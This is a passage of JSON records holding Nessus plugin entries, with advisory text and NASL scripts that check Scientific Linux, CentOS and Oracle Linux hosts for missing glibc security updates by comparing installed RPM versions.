Linux.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(61244);\n script_version(\"$Revision: 1.3 $\");\n script_cvs_date(\"$Date: 2013/05/04 23:38:20 $\");\n\n script_cve_id(\"CVE-2009-5029\", \"CVE-2009-5064\", \"CVE-2010-0830\", \"CVE-2011-1089\", \"CVE-2011-4609\");\n\n script_name(english:\"Scientific Linux Security Update : glibc on SL5.x i386/x86_64\");\n script_summary(english:\"Checks rpm output for the updated packages\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\n\"The remote Scientific Linux host is missing one or more security\nupdates.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"The glibc packages contain the standard C libraries used by multiple\nprograms on the system. These packages contain the standard C and the\nstandard math libraries. Without these two libraries, a Linux system\ncannot function properly.\n\nAn integer overflow flaw, leading to a heap-based buffer overflow, was\nfound in the way the glibc library read timezone files. If a\ncarefully-crafted timezone file was loaded by an application linked\nagainst glibc, it could cause the application to crash or,\npotentially, execute arbitrary code with the privileges of the user\nrunning the application. (CVE-2009-5029)\n\nA flaw was found in the way the ldd utility identified dynamically\nlinked libraries. If an attacker could trick a user into running ldd\non a malicious binary, it could result in arbitrary code execution\nwith the privileges of the user running ldd. (CVE-2009-5064)\n\nAn integer overflow flaw, leading to a heap-based buffer overflow, was\nfound in the way the glibc library loaded ELF (Executable and Linking\nFormat) files. If a carefully-crafted ELF file was loaded by an\napplication linked against glibc, it could cause the application to\ncrash or, potentially, execute arbitrary code with the privileges of\nthe user running the application. (CVE-2010-0830)\n\nIt was found that the glibc addmntent() function, used by various\nmount helper utilities, did not handle certain errors correctly when\nupdating the mtab (mounted file systems table) file. If such utilities\nhad the setuid bit set, a local attacker could use this flaw to\ncorrupt the mtab file. (CVE-2011-1089)\n\nA denial of service flaw was found in the remote procedure call (RPC)\nimplementation in glibc. A remote attacker able to open a large number\nof connections to an RPC service that is using the RPC implementation\nfrom glibc, could use this flaw to make that service use an excessive\namount of CPU time. (CVE-2011-4609)\n\nUsers should upgrade to these updated packages, which resolve these\nissues.\"\n );\n # http://listserv.fnal.gov/scripts/wa.exe?A2=ind1202&L=scientific-linux-errata&T=0&P=2446\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?c29d3bc6\"\n );\n script_set_attribute(attribute:\"solution\", value:\"Update the affected packages.\");\n script_set_cvss_base_vector(\"CVSS2#AV:L/AC:M/Au:N/C:C/I:C/A:C\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"x-cpe:/o:fermilab:scientific_linux\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2012/02/13\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2012/08/01\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2012-2013 Tenable Network Security, Inc.\");\n script_family(english:\"Scientific Linux Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/cpu\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || \"Scientific Linux \" >!< release) audit(AUDIT_HOST_NOT, \"running Scientific Linux\");\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (cpu >!< \"x86_64\" && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Scientific Linux\", cpu);\n\n\nflag = 0;\nif (rpm_check(release:\"SL5\", reference:\"glibc-2.5-65.el5_7.3\")) flag++;\nif (rpm_check(release:\"SL5\", reference:\"glibc-common-2.5-65.el5_7.3\")) flag++;\nif (rpm_check(release:\"SL5\", reference:\"glibc-debuginfo-2.5-65.el5_7.3\")) flag++;\nif (rpm_check(release:\"SL5\", reference:\"glibc-debuginfo-common-2.5-65.el5_7.3\")) flag++;\nif (rpm_check(release:\"SL5\", reference:\"glibc-devel-2.5-65.el5_7.3\")) flag++;\nif (rpm_check(release:\"SL5\", reference:\"glibc-headers-2.5-65.el5_7.3\")) flag++;\nif (rpm_check(release:\"SL5\", reference:\"glibc-utils-2.5-65.el5_7.3\")) flag++;\nif (rpm_check(release:\"SL5\", reference:\"nscd-2.5-65.el5_7.3\")) flag++;\n\n\nif (flag)\n{\n if (report_verbosity > 0) security_warning(port:0, extra:rpm_report_get());\n else security_warning(0);\n exit(0);\n}\nelse audit(AUDIT_HOST_NOT, \"affected\");\n", "cvss": {"score": 6.9, "vector": "AV:LOCAL/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-07-03T10:16:09", "references": ["http://www.nessus.org/u?a5609e67"], "pluginID": "57924", "description": "Updated glibc packages that fix multiple security issues are now available for Red Hat Enterprise Linux 5.\n\nThe Red Hat Security Response Team has rated this update as having moderate security impact. Common Vulnerability Scoring System (CVSS) base scores, which give detailed severity ratings, are available for each vulnerability from the CVE links in the References section.\n\nThe glibc packages contain the standard C libraries used by multiple programs on the system. These packages contain the standard C and the standard math libraries. Without these two libraries, a Linux system cannot function properly.\n\nAn integer overflow flaw, leading to a heap-based buffer overflow, was found in the way the glibc library read timezone files. If a carefully-crafted timezone file was loaded by an application linked against glibc, it could cause the application to crash or, potentially, execute arbitrary code with the privileges of the user running the application. (CVE-2009-5029)\n\nA flaw was found in the way the ldd utility identified dynamically linked libraries. If an attacker could trick a user into running ldd on a malicious binary, it could result in arbitrary code execution with the privileges of the user running ldd. (CVE-2009-5064)\n\nAn integer overflow flaw, leading to a heap-based buffer overflow, was found in the way the glibc library loaded ELF (Executable and Linking Format) files. If a carefully-crafted ELF file was loaded by an application linked against glibc, it could cause the application to crash or, potentially, execute arbitrary code with the privileges of the user running the application. (CVE-2010-0830)\n\nIt was found that the glibc addmntent() function, used by various mount helper utilities, did not handle certain errors correctly when updating the mtab (mounted file systems table) file. If such utilities had the setuid bit set, a local attacker could use this flaw to corrupt the mtab file. (CVE-2011-1089)\n\nA denial of service flaw was found in the remote procedure call (RPC) implementation in glibc. A remote attacker able to open a large number of connections to an RPC service that is using the RPC implementation from glibc, could use this flaw to make that service use an excessive amount of CPU time. (CVE-2011-4609)\n\nRed Hat would like to thank the Ubuntu Security Team for reporting CVE-2010-0830, and Dan Rosenberg for reporting CVE-2011-1089. The Ubuntu Security Team acknowledges Dan Rosenberg as the original reporter of CVE-2010-0830.\n\nUsers should upgrade to these updated packages, which resolve these issues.", "edition": 4, "reporter": "Tenable", "published": "2012-02-14T00:00:00", "title": "CentOS 5 : glibc (CESA-2012:0126)", "type": "nessus", "enchantments": {"score": {"vector": "NONE", "value": 7.2}}, "naslFamily": "CentOS Local Security Checks", "bulletinFamily": "scanner", "cvelist": ["CVE-2011-4609", "CVE-2010-0830", "CVE-2009-5029", "CVE-2011-1089", "CVE-2009-5064"], "modified": "2018-07-02T00:00:00", "cpe": ["p-cpe:/a:centos:centos:glibc-common", "p-cpe:/a:centos:centos:nscd", "p-cpe:/a:centos:centos:glibc-utils", "p-cpe:/a:centos:centos:glibc-devel", "p-cpe:/a:centos:centos:glibc-headers", "cpe:/o:centos:centos:5", "p-cpe:/a:centos:centos:glibc"], "id": "CENTOS_RHSA-2012-0126.NASL", "href": "https://www.tenable.com/plugins/index.php?view=single&id=57924", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Red Hat Security Advisory RHSA-2012:0126 and \n# CentOS Errata and Security Advisory 2012:0126 respectively.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(57924);\n script_version(\"1.8\");\n script_cvs_date(\"Date: 2018/07/02 18:48:52\");\n\n script_cve_id(\"CVE-2009-5029\", \"CVE-2009-5064\", \"CVE-2010-0830\", \"CVE-2011-1089\", \"CVE-2011-4609\");\n script_bugtraq_id(40063, 46740, 50898, 51439);\n script_xref(name:\"RHSA\", value:\"2012:0126\");\n\n script_name(english:\"CentOS 5 : glibc (CESA-2012:0126)\");\n script_summary(english:\"Checks rpm output for the updated packages\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote CentOS host is missing one or more security updates.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Updated glibc packages that fix multiple security issues are now\navailable for Red Hat Enterprise Linux 5.\n\nThe Red Hat Security Response Team has rated this update as having\nmoderate security impact. Common Vulnerability Scoring System (CVSS)\nbase scores, which give detailed severity ratings, are available for\neach vulnerability from the CVE links in the References section.\n\nThe glibc packages contain the standard C libraries used by multiple\nprograms on the system. These packages contain the standard C and the\nstandard math libraries. Without these two libraries, a Linux system\ncannot function properly.\n\nAn integer overflow flaw, leading to a heap-based buffer overflow, was\nfound in the way the glibc library read timezone files. If a\ncarefully-crafted timezone file was loaded by an application linked\nagainst glibc, it could cause the application to crash or,\npotentially, execute arbitrary code with the privileges of the user\nrunning the application. (CVE-2009-5029)\n\nA flaw was found in the way the ldd utility identified dynamically\nlinked libraries. If an attacker could trick a user into running ldd\non a malicious binary, it could result in arbitrary code execution\nwith the privileges of the user running ldd. (CVE-2009-5064)\n\nAn integer overflow flaw, leading to a heap-based buffer overflow, was\nfound in the way the glibc library loaded ELF (Executable and Linking\nFormat) files. If a carefully-crafted ELF file was loaded by an\napplication linked against glibc, it could cause the application to\ncrash or, potentially, execute arbitrary code with the privileges of\nthe user running the application. (CVE-2010-0830)\n\nIt was found that the glibc addmntent() function, used by various\nmount helper utilities, did not handle certain errors correctly when\nupdating the mtab (mounted file systems table) file. If such utilities\nhad the setuid bit set, a local attacker could use this flaw to\ncorrupt the mtab file. (CVE-2011-1089)\n\nA denial of service flaw was found in the remote procedure call (RPC)\nimplementation in glibc. A remote attacker able to open a large number\nof connections to an RPC service that is using the RPC implementation\nfrom glibc, could use this flaw to make that service use an excessive\namount of CPU time. (CVE-2011-4609)\n\nRed Hat would like to thank the Ubuntu Security Team for reporting\nCVE-2010-0830, and Dan Rosenberg for reporting CVE-2011-1089. The\nUbuntu Security Team acknowledges Dan Rosenberg as the original\nreporter of CVE-2010-0830.\n\nUsers should upgrade to these updated packages, which resolve these\nissues.\"\n );\n # http://lists.centos.org/pipermail/centos-announce/2012-February/018428.html\n script_set_attribute(\n attribute:\"see_also\",\n value:\"http://www.nessus.org/u?a5609e67\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Update the affected glibc packages.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:L/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:glibc\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:glibc-common\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:glibc-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:glibc-headers\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:glibc-utils\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:centos:centos:nscd\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:centos:centos:5\");\n\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2012/02/14\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2012-2018 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n script_family(english:\"CentOS Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/CentOS/release\", \"Host/CentOS/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/CentOS/release\")) audit(AUDIT_OS_NOT, \"CentOS\");\nif (!get_kb_item(\"Host/CentOS/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"CentOS\", cpu);\n\n\nflag = 0;\nif (rpm_check(release:\"CentOS-5\", reference:\"glibc-2.5-65.el5_7.3\")) flag++;\nif (rpm_check(release:\"CentOS-5\", reference:\"glibc-common-2.5-65.el5_7.3\")) flag++;\nif (rpm_check(release:\"CentOS-5\", reference:\"glibc-devel-2.5-65.el5_7.3\")) flag++;\nif (rpm_check(release:\"CentOS-5\", reference:\"glibc-headers-2.5-65.el5_7.3\")) flag++;\nif (rpm_check(release:\"CentOS-5\", reference:\"glibc-utils-2.5-65.el5_7.3\")) flag++;\nif (rpm_check(release:\"CentOS-5\", reference:\"nscd-2.5-65.el5_7.3\")) flag++;\n\n\nif (flag)\n{\n if (report_verbosity > 0) security_warning(port:0, extra:rpm_report_get());\n else security_warning(0);\n exit(0);\n}\nelse audit(AUDIT_HOST_NOT, \"affected\");\n", "cvss": {"score": 6.9, "vector": "AV:LOCAL/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-07-21T08:24:57", "references": ["https://oss.oracle.com/pipermail/el-errata/2012-February/002608.html"], "pluginID": "68456", "description": "From Red Hat Security Advisory 2012:0126 :\n\nUpdated glibc packages that fix multiple security issues are now available for Red Hat Enterprise Linux 5.\n\nThe Red Hat Security Response Team has rated this update as having moderate security impact. Common Vulnerability Scoring System (CVSS) base scores, which give detailed severity ratings, are available for each vulnerability from the CVE links in the References section.\n\nThe glibc packages contain the standard C libraries used by multiple programs on the system. These packages contain the standard C and the standard math libraries. Without these two libraries, a Linux system cannot function properly.\n\nAn integer overflow flaw, leading to a heap-based buffer overflow, was found in the way the glibc library read timezone files. If a carefully-crafted timezone file was loaded by an application linked against glibc, it could cause the application to crash or, potentially, execute arbitrary code with the privileges of the user running the application. (CVE-2009-5029)\n\nA flaw was found in the way the ldd utility identified dynamically linked libraries. If an attacker could trick a user into running ldd on a malicious binary, it could result in arbitrary code execution with the privileges of the user running ldd. (CVE-2009-5064)\n\nAn integer overflow flaw, leading to a heap-based buffer overflow, was found in the way the glibc library loaded ELF (Executable and Linking Format) files. If a carefully-crafted ELF file was loaded by an application linked against glibc, it could cause the application to crash or, potentially, execute arbitrary code with the privileges of the user running the application. (CVE-2010-0830)\n\nIt was found that the glibc addmntent() function, used by various mount helper utilities, did not handle certain errors correctly when updating the mtab (mounted file systems table) file. If such utilities had the setuid bit set, a local attacker could use this flaw to corrupt the mtab file. (CVE-2011-1089)\n\nA denial of service flaw was found in the remote procedure call (RPC) implementation in glibc. A remote attacker able to open a large number of connections to an RPC service that is using the RPC implementation from glibc, could use this flaw to make that service use an excessive amount of CPU time. (CVE-2011-4609)\n\nRed Hat would like to thank the Ubuntu Security Team for reporting CVE-2010-0830, and Dan Rosenberg for reporting CVE-2011-1089. The Ubuntu Security Team acknowledges Dan Rosenberg as the original reporter of CVE-2010-0830.\n\nUsers should upgrade to these updated packages, which resolve these issues.", "edition": 4, "reporter": "Tenable", "published": "2013-07-12T00:00:00", "title": "Oracle Linux 5 : glibc (ELSA-2012-0126)", "type": "nessus", "enchantments": {"score": {"vector": "NONE", "value": 7.2}}, "naslFamily": "Oracle Linux Local Security Checks", "bulletinFamily": "scanner", "cvelist": ["CVE-2011-4609", "CVE-2010-0830", "CVE-2009-5029", "CVE-2011-1089", "CVE-2009-5064"], "modified": "2018-07-18T00:00:00", "cpe": ["p-cpe:/a:oracle:linux:nscd", "cpe:/o:oracle:linux:5", "p-cpe:/a:oracle:linux:glibc-devel", "p-cpe:/a:oracle:linux:glibc-utils", "p-cpe:/a:oracle:linux:glibc-headers", "p-cpe:/a:oracle:linux:glibc-common", "p-cpe:/a:oracle:linux:glibc"], "id": "ORACLELINUX_ELSA-2012-0126.NASL", "href": "https://www.tenable.com/plugins/index.php?view=single&id=68456", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were\n# extracted from Red Hat Security Advisory RHSA-2012:0126 and \n# Oracle Linux Security Advisory ELSA-2012-0126 respectively.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(68456);\n script_version(\"1.6\");\n script_cvs_date(\"Date: 2018/07/18 17:43:56\");\n\n script_cve_id(\"CVE-2009-5029\", \"CVE-2009-5064\", \"CVE-2010-0830\", \"CVE-2011-1089\", \"CVE-2011-4609\");\n script_bugtraq_id(40063, 46740, 50898, 51439);\n script_xref(name:\"RHSA\", value:\"2012:0126\");\n\n script_name(english:\"Oracle Linux 5 : glibc (ELSA-2012-0126)\");\n script_summary(english:\"Checks rpm output for the updated packages\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote Oracle Linux host is missing one or more security updates.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"From Red Hat Security Advisory 2012:0126 :\n\nUpdated glibc packages that fix multiple security issues are now\navailable for Red Hat Enterprise Linux 5.\n\nThe Red Hat Security Response Team has rated this update as having\nmoderate security impact. Common Vulnerability Scoring System (CVSS)\nbase scores, which give detailed severity ratings, are available for\neach vulnerability from the CVE links in the References section.\n\nThe glibc packages contain the standard C libraries used by multiple\nprograms on the system. These packages contain the standard C and the\nstandard math libraries. Without these two libraries, a Linux system\ncannot function properly.\n\nAn integer overflow flaw, leading to a heap-based buffer overflow, was\nfound in the way the glibc library read timezone files. If a\ncarefully-crafted timezone file was loaded by an application linked\nagainst glibc, it could cause the application to crash or,\npotentially, execute arbitrary code with the privileges of the user\nrunning the application. (CVE-2009-5029)\n\nA flaw was found in the way the ldd utility identified dynamically\nlinked libraries. If an attacker could trick a user into running ldd\non a malicious binary, it could result in arbitrary code execution\nwith the privileges of the user running ldd. (CVE-2009-5064)\n\nAn integer overflow flaw, leading to a heap-based buffer overflow, was\nfound in the way the glibc library loaded ELF (Executable and Linking\nFormat) files. If a carefully-crafted ELF file was loaded by an\napplication linked against glibc, it could cause the application to\ncrash or, potentially, execute arbitrary code with the privileges of\nthe user running the application. (CVE-2010-0830)\n\nIt was found that the glibc addmntent() function, used by various\nmount helper utilities, did not handle certain errors correctly when\nupdating the mtab (mounted file systems table) file. If such utilities\nhad the setuid bit set, a local attacker could use this flaw to\ncorrupt the mtab file. (CVE-2011-1089)\n\nA denial of service flaw was found in the remote procedure call (RPC)\nimplementation in glibc. A remote attacker able to open a large number\nof connections to an RPC service that is using the RPC implementation\nfrom glibc, could use this flaw to make that service use an excessive\namount of CPU time. (CVE-2011-4609)\n\nRed Hat would like to thank the Ubuntu Security Team for reporting\nCVE-2010-0830, and Dan Rosenberg for reporting CVE-2011-1089. The\nUbuntu Security Team acknowledges Dan Rosenberg as the original\nreporter of CVE-2010-0830.\n\nUsers should upgrade to these updated packages, which resolve these\nissues.\"\n );\n script_set_attribute(\n attribute:\"see_also\",\n value:\"https://oss.oracle.com/pipermail/el-errata/2012-February/002608.html\"\n );\n script_set_attribute(\n attribute:\"solution\", \n value:\"Update the affected glibc packages.\"\n );\n script_set_cvss_base_vector(\"CVSS2#AV:L/AC:M/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"local\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:oracle:linux:glibc\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:oracle:linux:glibc-common\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:oracle:linux:glibc-devel\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:oracle:linux:glibc-headers\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:oracle:linux:glibc-utils\");\n script_set_attribute(attribute:\"cpe\", value:\"p-cpe:/a:oracle:linux:nscd\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:oracle:linux:5\");\n\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2012/02/14\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2013/07/12\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_copyright(english:\"This script is Copyright (C) 2013-2018 Tenable Network Security, Inc.\");\n script_family(english:\"Oracle Linux Local Security Checks\");\n\n script_dependencies(\"ssh_get_info.nasl\");\n script_require_keys(\"Host/local_checks_enabled\", \"Host/OracleLinux\", \"Host/RedHat/release\", \"Host/RedHat/rpm-list\");\n\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"rpm.inc\");\n\n\nif (!get_kb_item(\"Host/local_checks_enabled\")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);\nif (!get_kb_item(\"Host/OracleLinux\")) audit(AUDIT_OS_NOT, \"Oracle Linux\");\nrelease = get_kb_item(\"Host/RedHat/release\");\nif (isnull(release) || !eregmatch(pattern: \"Oracle (?:Linux Server|Enterprise Linux)\", string:release)) audit(AUDIT_OS_NOT, \"Oracle Linux\");\nos_ver = eregmatch(pattern: \"Oracle (?:Linux Server|Enterprise Linux) .*release ([0-9]+(\\.[0-9]+)?)\", string:release);\nif (isnull(os_ver)) audit(AUDIT_UNKNOWN_APP_VER, \"Oracle Linux\");\nos_ver = os_ver[1];\nif (! ereg(pattern:\"^5([^0-9]|$)\", string:os_ver)) audit(AUDIT_OS_NOT, \"Oracle Linux 5\", \"Oracle Linux \" + os_ver);\n\nif (!get_kb_item(\"Host/RedHat/rpm-list\")) audit(AUDIT_PACKAGE_LIST_MISSING);\n\ncpu = get_kb_item(\"Host/cpu\");\nif (isnull(cpu)) audit(AUDIT_UNKNOWN_ARCH);\nif (\"x86_64\" >!< cpu && \"ia64\" >!< cpu && cpu !~ \"^i[3-6]86$\") audit(AUDIT_LOCAL_CHECKS_NOT_IMPLEMENTED, \"Oracle Linux\", cpu);\n\nflag = 0;\nif (rpm_check(release:\"EL5\", reference:\"glibc-2.5-65.el5_7.3\")) flag++;\nif (rpm_check(release:\"EL5\", reference:\"glibc-common-2.5-65.el5_7.3\")) flag++;\nif (rpm_check(release:\"EL5\", reference:\"glibc-devel-2.5-65.el5_7.3\")) flag++;\nif (rpm_check(release:\"EL5\", reference:\"glibc-headers-2.5-65.el5_7.3\")) flag++;\nif (rpm_check(release:\"EL5\", reference:\"glibc-utils-2.5-65.el5_7.3\")) flag++;\nif (rpm_check(release:\"EL5\", reference:\"nscd-2.5-65.el5_7.3\")) flag++;\n\n\nif (flag)\n{\n if (report_verbosity > 0) security_warning(port:0, extra:rpm_report_get());\n else security_warning(0);\n exit(0);\n}\nelse\n{\n tested = pkg_tests_get();\n if (tested) audit(AUDIT_PACKAGE_NOT_AFFECTED, tested);\n else audit(AUDIT_PACKAGE_NOT_INSTALLED, \"glibc / glibc-common / glibc-devel / glibc-headers / glibc-utils / etc\");\n}\n", "cvss": {"score": 6.9, "vector": "AV:LOCAL/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}, {"lastseen": "2018-07-03T09:51:59", "references": ["http://www.nessus.org/u?bf7a1505"], "pluginID": "57923", "description": "Updated glibc packages that fix multiple security issues and one bug are now available for Red Hat Enterprise Linux 4.\n\nThe Red Hat Security Response Team has rated this update as having moderate security impact. Common Vulnerability Scoring System (CVSS) base scores, which give detailed severity ratings, are available for each vulnerability from the CVE links in the References section.\n\nThe glibc packages contain the standard C libraries used by multiple programs on the system. These packages contain the standard C and the standard math libraries. Without these two libraries, a Linux system cannot function properly.\n\nAn integer overflow flaw, leading to a heap-based buffer overflow, was found in the way the glibc library read timezone files. If a carefully-crafted timezone file was loaded by an application linked against glibc, it could cause the application to crash or, potentially, execute arbitrary code with the privileges of the user running the application. (CVE-2009-5029)\n\nA flaw was found in the way the ldd utility identified dynamically linked libraries. If an attacker could trick a user into running ldd on a malicious binary, it could result in arbitrary code execution with the privileges of the user running ldd. (CVE-2009-5064)\n\nIt was discovered that the glibc addmntent() function, used by various mount helper utilities, did not sanitize its input properly. A local attacker could possibly use this flaw to inject malformed lines into the mtab (mounted file systems table) file via certain setuid mount helpers, if the attacker were allowed to mount to an arbitrary directory under their control. (CVE-2010-0296)\n\nAn integer overflow flaw, leading to a heap-based buffer overflow, was found in the way the glibc library loaded ELF (Executable and Linking Format) files. If a carefully-crafted ELF file was loaded by an application linked against glibc, it could cause the application to crash or, potentially, execute arbitrary code with the privileges of the user running the application. (CVE-2010-0830)\n\nIt was discovered that the glibc fnmatch() function did not properly restrict the use of alloca(). If the function was called on sufficiently large inputs, it could cause an application using fnmatch() to crash or, possibly, execute arbitrary code with the privileges of the application. (CVE-2011-1071)\n\nIt was found that the glibc addmntent() function, used by various mount helper utilities, did not handle certain errors correctly when updating the mtab (mounted file systems table) file. If such utilities had the setuid bit set, a local attacker could use this flaw to corrupt the mtab file. (CVE-2011-1089)\n\nIt was discovered that the locale command did not produce properly escaped output as required by the POSIX specification. If an attacker were able to set the locale environment variables in the environment of a script that performed shell evaluation on the output of the locale command, and that script were run with different privileges than the attacker's, it could execute arbitrary code with the privileges of the script. (CVE-2011-1095)\n\nAn integer overflow flaw was found in the glibc fnmatch() function. If an attacker supplied a long UTF-8 string to an application linked against glibc, it could cause the application to crash.\n(CVE-2011-1659)\n\nA denial of service flaw was found in the remote procedure call (RPC) implementation in glibc. A remote attacker able to open a large number of connections to an RPC service that is using the RPC implementation from glibc, could use this flaw to make that service use an excessive amount of CPU time. (CVE-2011-4609)\n\nRed Hat would like to thank the Ubuntu Security Team for reporting CVE-2010-0830, and Dan Rosenberg for reporting CVE-2011-1089. The Ubuntu Security Team acknowledges Dan Rosenberg as the original reporter of CVE-2010-0830.\n\nThis update also fixes the following bug :\n\n* When using an nscd package that is a different version than the glibc package, the nscd service could fail to start. This update makes the nscd package require a specific glibc version to prevent this problem. (BZ#657009)\n\nUsers should upgrade to these updated packages, which resolve these issues.", "edition": 3, "reporter": "Tenable", "published": "2012-02-14T00:00:00", "title": "CentOS 4 : glibc (CESA-2012:0125)", "type": "nessus", "enchantments": {"score": {"vector": "NONE", "value": 7.2}}, "naslFamily": "CentOS Local Security Checks", "bulletinFamily": "scanner", "cvelist": ["CVE-2011-4609", "CVE-2010-0296", "CVE-2011-1659", "CVE-2010-0830", "CVE-2011-1071", "CVE-2011-1095", "CVE-2009-5029", "CVE-2011-1089", "CVE-2009-5064"], "modified": "2018-07-02T00:00:00", "cpe": ["p-cpe:/a:centos:centos:glibc-common", "p-cpe:/a:centos:centos:nscd", "cpe:/o:centos:centos:4", "p-cpe:/a:centos:centos:glibc-utils", "p-cpe:/a:centos:centos:glibc-devel", "p-cpe:/a:centos:centos:glibc-profile", "p-cpe:/a:centos:centos:glibc-headers", "p-cpe:/a:centos:centos:glibc", "p-cpe:/a:centos:centos:nptl-devel"], "id": "CENTOS_RHSA-2012-0125.NASL", "href": "https://www.tenable.com/plugins/index.php?view=single&id=57923", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n# The descriptive text and package checks in this plugin were \n# extracted from Red Hat Security Advisory RHSA-2012:0125 and \n# CentOS Errata and Security Advisory 2012:0125 respectively.\n#\n\nif (NASL_LEVEL < 3000) exit(0);\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(57923);\n script_version(\"1.9\");\n script_cvs_date(\"Date: 2018/07/02 18:48:52\");\n\n script_cve_id(\"CVE-2009-5029\", \"CVE-2009-5064\", \"CVE-2010-0296\", \"CVE-2010-0830\", \"CVE-2011-1071\", \"CVE-2011-1089\", \"CVE-2011-1095\", \"CVE-2011-1659\", \"CVE-2011-4609\");\n script_bugtraq_id(40063, 46563, 46740, 47370, 50898, 51439);\n script_xref(name:\"RHSA\", value:\"2012:0125\");\n\n script_name(english:\"CentOS 4 : glibc (CESA-2012:0125)\");\n script_summary(english:\"Checks rpm output for the updated packages\");\n\n script_set_attribute(\n attribute:\"synopsis\", \n value:\"The remote CentOS host is missing one or more security updates.\"\n );\n script_set_attribute(\n attribute:\"description\", \n value:\n\"Updated glibc packages that fix multiple security issues and one bug\nare now available for Red Hat Enterprise Linux 4.\n\nThe Red Hat Security Response Team has rated this update as having\nmoderate security impact. Common Vulnerability Scoring System (CVSS)\nbase scores, which give detailed severity ratings, are available for\neach vulnerability from the CVE links in the References section.\n\nThe glibc packages contain the standard C libraries used by multiple\nprograms on the system. These packages contain the standard C and the\nstandard math libraries. Without these two libraries, a Linux system\ncannot function properly.\n\nAn integer overflow flaw, leading to a heap-based buffer overflow, was\nfound in the way the glibc library read 